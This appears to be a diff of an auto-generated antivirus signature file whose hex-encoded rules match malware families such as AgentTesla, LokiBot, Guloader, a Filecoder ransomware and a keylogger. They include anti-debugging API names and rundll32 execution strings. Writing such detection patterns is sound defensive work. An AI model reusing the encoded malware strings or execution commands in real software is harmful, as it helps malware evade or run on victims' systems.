1)*1025+(#a_32_2 & 1)*14918) >=3 } -rule _InfrastructureShared_14619{ +rule _InfrastructureShared_15577{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167785,7 +178973,7 @@ rule _InfrastructureShared_14619{ ((#a_46_0 & 1)*16675+(#a_39_1 & 1)*12297+(#a_39_2 & 1)*12378) >=3 } -rule _InfrastructureShared_14620{ +rule _InfrastructureShared_15578{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167795,7 +178983,7 @@ rule _InfrastructureShared_14620{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14621{ +rule _InfrastructureShared_15579{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167805,7 +178993,7 @@ rule _InfrastructureShared_14621{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_14622{ +rule _InfrastructureShared_15580{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167817,7 +179005,7 @@ rule _InfrastructureShared_14622{ ((#a_54_0 & 1)*18467+(#a_5d_1 & 1)*-29177+(#a_32_2 & 1)*14129) >=3 } -rule _InfrastructureShared_14623{ +rule _InfrastructureShared_15581{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -167829,7 +179017,7 @@ rule _InfrastructureShared_14623{ ((#a_54_0 & 1)*18467+(#a_0d_1 & 1)*28672+(#a_00_2 & 1)*25955) >=3 } -rule _InfrastructureShared_14624{ +rule _InfrastructureShared_15582{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -167843,7 +179031,7 @@ rule _InfrastructureShared_14624{ ((#a_46_0 & 1)*16675+(#a_54_1 & 1)*23923+(#a_5b_2 & 1)*29795+(#a_4c_3 & 1)*29795+(#a_49_4 & 1)*29555) >=3 } -rule _InfrastructureShared_14625{ +rule _InfrastructureShared_15583{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -167857,7 +179045,7 @@ rule _InfrastructureShared_14625{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*100+(#a_6d_2 & 1)*27728+(#a_20_3 & 1)*28518+(#a_70_4 & 1)*28706) >=3 } -rule _InfrastructureShared_14626{ +rule _InfrastructureShared_15584{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -167870,7 +179058,7 @@ rule _InfrastructureShared_14626{ ((#a_77_0 & 1)*16675+(#a_68_1 & 1)*28514+(#a_6f_2 & 1)*21562+(#a_ff_3 & 1)*20483) >=3 } -rule _InfrastructureShared_14627{ +rule _InfrastructureShared_15585{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -167881,7 +179069,7 @@ rule _InfrastructureShared_14627{ ((#a_4c_0 & 1)*21539+(#a_8d_1 & 1)*400) >=4 } -rule _InfrastructureShared_14628{ +rule _InfrastructureShared_15586{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -167894,7 +179082,7 @@ rule _InfrastructureShared_14628{ ((#a_77_0 & 1)*16675+(#a_02_1 & 1)*-28539+(#a_85_2 & 1)*25087+(#a_00_3 & 1)*47) >=4 } -rule _InfrastructureShared_14629{ +rule _InfrastructureShared_15587{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -167905,7 +179093,7 @@ rule _InfrastructureShared_14629{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*116) >=4 } -rule _InfrastructureShared_14630{ +rule _InfrastructureShared_15588{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 04 00 21 " @@ -167917,7 +179105,7 @@ rule _InfrastructureShared_14630{ ((#a_54_0 & 1)*18467+(#a_70_1 & 1)*30567+(#a_6d_2 & 1)*31330) >=5 } -rule _InfrastructureShared_14631{ +rule _InfrastructureShared_15589{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167929,7 +179117,7 @@ rule _InfrastructureShared_14631{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*111+(#a_00_4 & 1)*0) >=5 } -rule _InfrastructureShared_14632{ +rule _InfrastructureShared_15590{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -167942,7 +179130,7 @@ rule _InfrastructureShared_14632{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25965+(#a_69_2 & 1)*25710+(#a_45_3 & 1)*17747) >=5 } -rule _InfrastructureShared_14633{ +rule _InfrastructureShared_15591{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 07 00 21 " @@ -167958,7 +179146,7 @@ rule _InfrastructureShared_14633{ ((#a_63_0 & 1)*18467+(#a_70_1 & 1)*8194+(#a_74_2 & 1)*31090+(#a_01_3 & 1)*10240+(#a_65_4 & 1)*29811+(#a_00_5 & 1)*6+(#a_6f_6 & 1)*21562) >=5 } -rule _InfrastructureShared_14634{ +rule _InfrastructureShared_15592{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 08 00 21 " @@ -167966,31 +179154,46 @@ rule _InfrastructureShared_14634{ $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 4b 72 61 64 64 61 72 65 2e 48 4d 52 33 21 4d 54 42 00 01 00 28 80 01 64 6e 73 33 2e 6b 74 67 75 69 64 65 2e 63 6f 6d 2f 73 65 61 72 63 68 2f 69 6e 64 65 78 2e 70 68 70 3f 51 75 65 72 79 3d 01 00 0f } //16675 $a_6f_1 = {6f 72 7a 6f 6e 65 2e 63 6f 2e 6b 72 01 00 15 80 01 53 4f 46 54 57 41 52 45 5c 6f 70 65 6e 73 65 61 72 63 68 67 74 01 00 0c 80 01 67 79 65 6f 6e 67 6e 61 6d 2e 6b 72 01 00 0b 80 01 63 68 75 6e 67 6e 61 6d 2e 6b 72 9c ff 0a 80 01 55 6e 69 6e 73 74 2e 65 78 65 9c ff 0f 80 01 55 6e 69 6e 73 74 61 6c 6c 65 72 2e 65 } //384 $a_ff_2 = {80 01 55 6e 69 6e 73 74 61 6c 2e 65 78 65 00 00 78 da 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 36 34 21 4d 54 42 00 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 18 81 01 64 66 64 61 73 73 73 73 73 73 73 73 73 73 64 66 66 64 64 6c 65 74 65 64 01 00 0c 81 01 64 66 } //25976 - $a_67_3 = {6c 65 74 65 64 01 00 1e 81 01 66 61 66 66 66 66 67 66 66 66 66 66 66 20 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 01 00 1e 81 01 66 61 66 66 66 67 66 66 66 66 66 66 66 20 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 00 00 78 da 00 00 06 00 06 00 07 00 21 23 41 75 74 6f 69 74 49 6e 6a 65 63 } //25712 - $a_00_4 = {0c } //116 - $a_65_5 = {74 72 61 63 74 2e 70 64 62 01 00 2e 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 20 22 25 73 01 00 2c 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 38 20 25 73 01 00 12 80 01 77 65 78 74 72 } //384 - $a_5f_6 = {6c 65 61 6e 75 70 25 64 01 00 0a 80 01 45 58 54 52 41 43 54 4f 50 54 01 00 0d 80 01 49 4e 53 54 41 4e 43 45 43 48 45 43 4b 01 00 11 80 01 43 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 63 20 25 73 00 00 78 da 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 21 4d 54 42 00 01 } //25441 - $a_01_7 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 81 01 41 2e 90 01 20 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 } //3840 + $a_67_3 = {6c 65 74 65 64 01 00 1e 81 01 66 61 66 66 66 66 67 66 66 66 66 66 66 20 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 01 00 1e 81 01 66 61 66 66 66 67 66 66 66 66 66 66 66 20 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 00 00 78 da 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f } //25712 + $a_6f_4 = {64 65 72 2e 47 4d 44 30 31 21 4d 54 42 00 01 00 25 81 01 6c 69 6e 6a 65 61 66 73 74 61 6e 64 73 20 73 6b 69 62 73 74 69 6c 73 79 6e 65 6e 65 20 6c 61 67 6f 70 6f 75 73 01 00 1b 81 01 64 65 68 75 6d 61 6e 69 7a 69 6e 67 20 62 72 75 67 65 72 62 65 73 74 65 6d 74 73 01 00 1c 81 01 62 69 6d 70 6c 65 6e 73 20 73 6b 69 70 70 65 } //30023 + $a_20_5 = {77 61 6e 64 65 72 65 73 01 00 14 81 01 6d 61 6c 61 70 70 72 6f 70 72 69 61 74 69 6f 6e 2e 65 78 65 01 00 12 81 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 74 73 2e 6a 70 67 01 00 12 81 01 6b 6f 67 61 6c 73 6b 61 62 73 74 65 73 74 2e 68 61 6e 00 00 78 da 00 00 06 00 06 00 07 00 21 23 41 75 74 6f 69 74 49 6e 6a 65 63 74 00 01 00 0c 80 01 77 65 78 74 } //25956 + $a_74_6 = {70 64 62 01 00 2e 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 20 22 25 73 01 00 2c 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 } //24946 + $a_73_7 = {00 12 80 01 77 65 78 74 72 61 63 74 5f 63 6c 65 61 6e 75 70 25 64 01 00 0a 80 01 45 58 54 52 41 43 54 4f 50 54 } //8248 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*384+(#a_ff_2 & 1)*25976+(#a_67_3 & 1)*25712+(#a_00_4 & 1)*116+(#a_65_5 & 1)*384+(#a_5f_6 & 1)*25441+(#a_01_7 & 1)*3840) >=5 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*384+(#a_ff_2 & 1)*25976+(#a_67_3 & 1)*25712+(#a_6f_4 & 1)*30023+(#a_20_5 & 1)*25956+(#a_74_6 & 1)*24946+(#a_73_7 & 1)*8248) >=5 } -rule _InfrastructureShared_14635{ +rule _InfrastructureShared_15593{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 5a 5a 36 34 21 4d 54 42 00 01 00 1a 81 01 43 68 65 63 6b 52 65 6d 6f 74 65 44 65 62 75 67 67 65 72 50 72 65 73 65 6e 74 01 00 11 81 01 49 73 44 65 62 75 67 67 65 72 50 72 } //18467 $a_6e_1 = {01 00 18 81 01 64 66 64 61 73 73 73 73 73 73 73 73 73 73 64 66 66 64 64 6c 65 74 65 64 01 00 0c 81 01 64 66 70 64 64 67 68 6c 65 74 65 64 01 00 1e 81 01 66 61 66 66 66 66 67 66 66 66 66 66 66 20 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 73 01 00 1e 81 01 66 61 66 66 66 67 66 66 66 66 66 66 66 20 73 } //29541 - $a_73_2 = {73 73 73 73 73 73 73 73 73 73 00 00 78 da 00 00 06 00 06 00 07 00 21 23 41 75 74 6f 69 74 49 6e 6a 65 63 74 00 01 00 0c 80 01 77 65 78 74 72 61 63 74 2e 70 64 62 01 00 2e 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 20 22 25 73 01 00 2c 80 01 72 75 6e 64 6c } //29555 - $a_2e_3 = {78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 38 20 25 73 01 00 12 80 01 77 65 78 74 72 61 63 74 5f 63 6c } //13164 - $a_75_4 = {25 64 01 00 0a 80 01 45 58 54 52 41 43 54 4f 50 54 01 00 0d 80 01 49 4e 53 54 41 4e 43 45 43 48 45 43 4b 01 00 11 80 01 43 6f 6d 6d 61 6e 64 2e 63 6f 6d 20 2f 63 20 25 73 00 00 78 da 00 00 06 00 06 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 21 4d 54 42 00 01 } //24933 - $a_01_5 = {43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 81 01 41 2e 90 01 20 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 81 01 44 65 62 75 67 67 69 6e 67 4d 6f 64 65 73 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 } //3840 + $a_73_2 = {73 73 73 73 73 73 73 73 73 73 00 00 78 da 00 00 06 00 06 00 06 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 44 30 31 21 4d 54 42 00 01 00 25 81 01 6c 69 6e 6a 65 61 66 73 74 61 6e 64 73 20 73 6b 69 62 73 74 69 6c 73 79 6e 65 6e 65 20 6c 61 67 6f 70 6f 75 73 01 00 1b 81 01 64 65 68 75 6d 61 6e 69 7a 69 6e 67 20 62 } //29555 + $a_65_3 = {62 65 73 74 65 6d 74 73 01 00 1c 81 01 62 69 6d 70 6c 65 6e 73 20 73 6b 69 70 70 65 64 65 73 20 72 77 61 6e 64 65 72 65 73 01 00 14 81 01 6d 61 6c 61 70 70 72 6f 70 72 69 61 74 69 6f 6e 2e 65 78 65 01 00 12 81 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 74 73 2e 6a 70 67 01 00 12 81 01 6b 6f 67 61 6c 73 6b 61 62 } //30066 + $a_73_4 = {2e 68 61 6e 00 00 78 da 00 00 06 00 06 00 07 00 21 23 41 75 74 6f 69 74 49 6e 6a 65 63 74 00 01 00 0c 80 01 77 65 78 74 72 61 63 74 2e 70 64 62 01 00 2e 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 20 22 25 73 01 00 } //29811 + $a_72_5 = {6e } //-32724 n condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29541+(#a_73_2 & 1)*29555+(#a_2e_3 & 1)*13164+(#a_75_4 & 1)*24933+(#a_01_5 & 1)*3840) >=6 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*29541+(#a_73_2 & 1)*29555+(#a_65_3 & 1)*30066+(#a_73_4 & 1)*29811+(#a_72_5 & 1)*-32724) >=6 } -rule _InfrastructureShared_14636{ +rule _InfrastructureShared_15594{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4d 44 30 31 21 4d 54 42 00 01 00 25 81 01 6c 69 6e 6a 65 61 66 73 74 61 6e 64 73 20 73 6b 69 62 73 74 69 6c 73 79 6e 65 6e 65 20 6c 61 67 6f 70 6f 75 73 01 00 1b 81 01 64 65 68 75 6d 61 6e 69 7a 69 } //18467 + $a_62_1 = {75 67 65 72 62 65 73 74 65 6d 74 73 01 00 1c 81 01 62 69 6d 70 6c 65 6e 73 20 73 6b 69 70 70 65 } //26478 + $a_20_2 = {77 61 6e 64 65 72 65 73 01 00 14 81 01 6d 61 6c 61 70 70 72 6f 70 72 69 61 74 69 6f 6e 2e 65 78 65 01 00 12 81 01 66 69 6c 6d 73 65 6c 73 6b 61 62 65 74 73 2e 6a 70 67 01 00 12 81 01 6b 6f 67 61 6c 73 6b 61 62 73 74 65 73 74 2e 68 61 6e 00 00 78 da 00 00 06 00 06 00 07 00 21 23 41 75 74 6f 69 74 49 6e 6a 65 63 74 00 01 00 0c 80 01 77 65 78 74 } //25956 + $a_74_3 = {70 64 62 01 00 2e 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 61 64 76 70 61 63 6b 2e 64 6c 6c 2c 44 65 6c 4e 6f 64 65 52 75 6e 44 4c 4c 33 32 20 22 25 73 01 00 2c 80 01 72 75 6e 64 6c 6c 33 32 2e 65 78 65 20 25 73 2c 49 6e 73 74 61 6c 6c 48 69 6e 66 53 65 63 74 69 6f 6e 20 25 73 20 31 32 } //24946 + $a_73_4 = {00 12 80 01 77 65 78 74 72 61 63 74 5f 63 6c 65 61 6e 75 70 25 64 01 00 0a 80 01 45 58 54 52 41 43 54 4f 50 54 } //8248 + $a_80_5 = {49 4e 53 54 41 4e 43 45 43 48 45 43 4b } //INSTANCECHECK 1 + condition: + ((#a_54_0 & 1)*18467+(#a_62_1 & 1)*26478+(#a_20_2 & 1)*25956+(#a_74_3 & 1)*24946+(#a_73_4 & 1)*8248+(#a_80_5 & 1)*1) >=6 + +} +rule _InfrastructureShared_15595{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -168006,36 +179209,40 @@ rule _InfrastructureShared_14636{ ((#a_74_0 & 1)*16675+(#a_31_1 & 1)*29477+(#a_52_2 & 1)*22597+(#a_41_3 & 1)*24940+(#a_00_4 & 1)*29541+(#a_65_5 & 1)*385+(#a_00_6 & 1)*27491) >=6 } -rule _InfrastructureShared_14637{ +rule _InfrastructureShared_15596{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " strings : $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 41 4d 4d 51 32 21 4d 54 42 00 01 00 0f 81 01 43 72 65 61 74 65 44 65 63 72 79 70 74 6f 72 01 00 0f 81 01 41 2e 90 01 20 2e 72 65 73 6f 75 72 63 65 73 01 00 0e 81 01 44 65 62 75 } //18467 $a_6e_1 = {4d 6f 64 65 73 01 00 1e 81 01 43 6f 6e 66 75 73 65 72 2e 43 6f 72 65 20 31 2e 36 2e 30 2b 34 34 37 33 34 31 39 36 34 66 01 00 13 81 01 54 72 61 6e 73 66 6f 72 6d 46 69 6e 61 6c 42 6c 6f 63 6b 01 00 09 81 01 67 65 74 5f 43 68 61 72 73 01 00 21 81 01 63 33 36 37 31 37 37 31 30 66 32 34 32 64 64 66 65 66 33 37 61 39 } //26471 - $a_64_2 = {61 31 32 35 32 66 00 00 78 da 00 00 07 00 07 00 04 00 21 23 41 4c 46 3a 52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 4e 49 54 21 4d 54 42 00 02 00 74 01 48 8b 74 24 70 48 8d 34 f2 48 8d b6 d8 01 01 00 49 89 c2 48 87 06 48 8b 84 24 a0 00 00 00 48 8b 8c 24 80 00 00 00 } //14385 - $a_4c_3 = {44 24 78 49 b9 ff ff ff ff ff 7f 00 00 41 84 02 41 81 e0 ff ff 0f 00 4f 8b 1c c2 4d 85 db 0f 85 b9 01 00 00 4c 89 44 24 30 4c 89 94 24 88 00 00 00 48 8d 86 e0 03 01 00 bb d0 10 00 00 b9 08 00 00 00 48 8d 3d a5 a2 28 00 02 00 0a 01 66 69 6c 65 77 61 6c 6b 65 72 02 00 10 01 45 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 79 01 00 0f 01 6b 69 6c 6c 69 6e 67 20 43 6d 64 65 78 65 63 00 00 78 da 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 45 43 21 4d 54 42 00 01 00 54 81 01 63 2d 73 68 6d 65 6d 2d 74 64 6d 32 2d 66 63 5f 6b 65 79 2d 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 } //-30392 - $a_61_4 = {61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 41 61 61 41 61 61 61 61 61 41 41 41 61 41 41 41 41 41 41 61 61 01 00 07 81 01 4c 4f 47 2e 74 78 74 01 00 0b 81 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 81 01 5b 54 41 42 5d 01 00 07 81 01 5b 53 48 49 46 54 5d 01 00 09 } //24929 - $a_43_5 = {4e 54 52 4f 4c 5d 01 00 10 81 01 47 65 74 41 73 79 6e 63 4b 65 79 53 74 61 74 65 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 54 52 43 31 21 4d 54 42 00 01 00 25 81 01 24 34 33 35 66 34 62 63 65 2d 37 } //385 - $a_2d_6 = {38 30 33 2d 39 62 63 34 2d 30 34 35 36 30 64 61 31 61 30 65 36 01 00 22 81 01 39 37 62 61 37 38 31 62 38 32 66 65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 4a 67 30 38 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 0a 81 01 45 46 38 30 } //12342 + $a_64_2 = {61 31 32 35 32 66 00 00 78 da 00 00 06 00 06 00 0a 00 21 23 48 53 54 52 3a 4d 53 49 4c 2f 44 79 6e 61 6d 69 63 43 6f 64 65 45 78 65 63 75 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 41 73 73 65 6d 62 6c 79 4c 6f 61 64 01 00 08 81 01 4c 6f 61 64 46 72 6f 6d 01 00 08 81 01 4c 6f 61 } //14385 + $a_6c_3 = {01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 0d 81 01 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 41 63 74 69 76 61 74 6f 72 01 00 0b 81 01 47 65 74 41 73 73 65 6d 62 6c 79 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c } //18020 + $a_65_5 = {6f 6c 76 65 41 73 73 65 6d 62 6c 79 00 00 78 da 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 45 43 21 4d 54 42 00 01 00 54 81 01 63 2d 73 68 6d 65 6d 2d 74 64 6d 32 2d 66 63 5f 6b } //385 + $a_61_6 = {61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 41 61 61 41 } //31077 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaAaaA condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26471+(#a_64_2 & 1)*14385+(#a_4c_3 & 1)*-30392+(#a_61_4 & 1)*24929+(#a_43_5 & 1)*385+(#a_2d_6 & 1)*12342) >=6 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*26471+(#a_64_2 & 1)*14385+(#a_6c_3 & 1)*18020+(#a_65_5 & 1)*385+(#a_61_6 & 1)*31077) >=6 } -rule _InfrastructureShared_14638{ +rule _InfrastructureShared_15597{ meta: - description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 04 00 21 " + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 0a 00 21 " strings : - $a_46_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 36 34 2f 46 69 6c 65 63 6f 64 65 72 2e 4e 49 54 21 4d 54 42 00 02 00 74 01 48 8b 74 24 70 48 8d 34 f2 48 8d b6 d8 01 01 00 49 89 c2 48 87 06 48 8b 84 24 a0 00 00 00 48 8b 8c 24 80 00 00 00 48 89 d6 } //16675 - $a_24_1 = {49 b9 ff ff ff ff ff 7f 00 00 41 84 02 41 81 e0 ff ff 0f 00 4f 8b 1c c2 4d 85 db 0f 85 b9 01 00 00 4c 89 44 24 30 4c 89 94 24 88 00 00 00 48 8d 86 e0 03 01 00 bb d0 10 00 00 b9 08 00 00 00 48 8d 3d a5 a2 } //-29876 - $a_00_2 = {0a 01 } //40 Ċ - $a_65_3 = {61 6c 6b 65 72 02 00 10 01 45 6e 63 72 79 70 74 44 69 72 65 63 74 6f 72 79 01 00 0f 01 6b 69 6c 6c 69 6e 67 20 43 6d 64 65 78 65 63 00 00 78 da 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 45 43 21 4d 54 42 00 01 00 54 81 01 63 2d 73 68 6d 65 6d 2d 74 64 6d } //26982 + $a_54_0 = {3a 4d 53 49 4c 2f 44 79 6e 61 6d 69 63 43 6f 64 65 45 78 65 63 75 74 69 6f 6e 2e 50 52 21 41 4d 54 42 00 01 00 0c 81 01 41 73 73 65 6d 62 6c 79 4c 6f 61 64 01 00 08 81 01 4c 6f 61 64 46 72 6f 6d 01 00 08 81 01 4c 6f 61 64 46 69 6c 65 01 00 09 81 01 } //18467 + $a_44_1 = {6d 61 69 6e 01 00 0d 81 01 43 75 72 72 65 6e 74 44 6f 6d 61 69 6e 01 00 0e 81 01 43 72 65 61 74 65 49 6e 73 74 61 6e 63 65 01 00 09 81 01 41 63 74 69 76 61 74 6f 72 01 00 0b 81 01 47 65 74 41 73 73 65 6d 62 6c 79 01 00 14 81 01 47 65 74 45 78 65 63 75 74 69 6e 67 41 73 73 65 6d 62 6c 79 01 00 0f 81 01 52 65 73 6f 6c 76 65 41 73 73 65 } //28737 + $a_79_2 = {00 78 da 00 00 07 00 07 00 07 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4b 65 79 4c 6f 67 67 65 72 2e 45 43 21 4d 54 42 00 01 00 54 81 01 63 2d 73 68 6d 65 6d 2d 74 64 6d 32 2d 66 63 5f 6b 65 79 2d 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 61 } //25197 + $a_61_3 = {61 61 41 61 61 41 61 61 61 61 61 41 41 41 61 41 41 41 41 41 41 61 61 01 00 07 81 01 4c 4f 47 2e 74 78 74 01 00 0b 81 01 5b 42 41 43 4b 53 50 41 43 45 5d 01 00 05 81 01 5b 54 41 42 5d 01 00 07 81 01 5b 53 48 49 46 54 5d 01 00 09 81 01 5b 43 4f 4e 54 52 4f 4c 5d 01 00 10 81 01 47 65 74 41 73 } //24929 + $a_4b_4 = {79 53 74 61 74 65 00 00 78 da 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 4c 6f 6b 69 42 6f 74 2e 54 52 43 31 21 4d 54 42 00 01 00 25 81 01 24 34 33 35 66 34 62 63 65 2d 37 36 30 62 2d 34 38 30 33 2d 39 62 63 34 2d 30 34 35 36 30 64 61 31 61 30 65 36 01 00 22 } //28281 + $a_37_5 = {61 37 38 31 62 38 32 66 65 66 34 2e 52 65 73 6f 75 72 63 65 73 2e 72 65 73 6f 75 72 63 65 73 01 00 18 81 01 4a 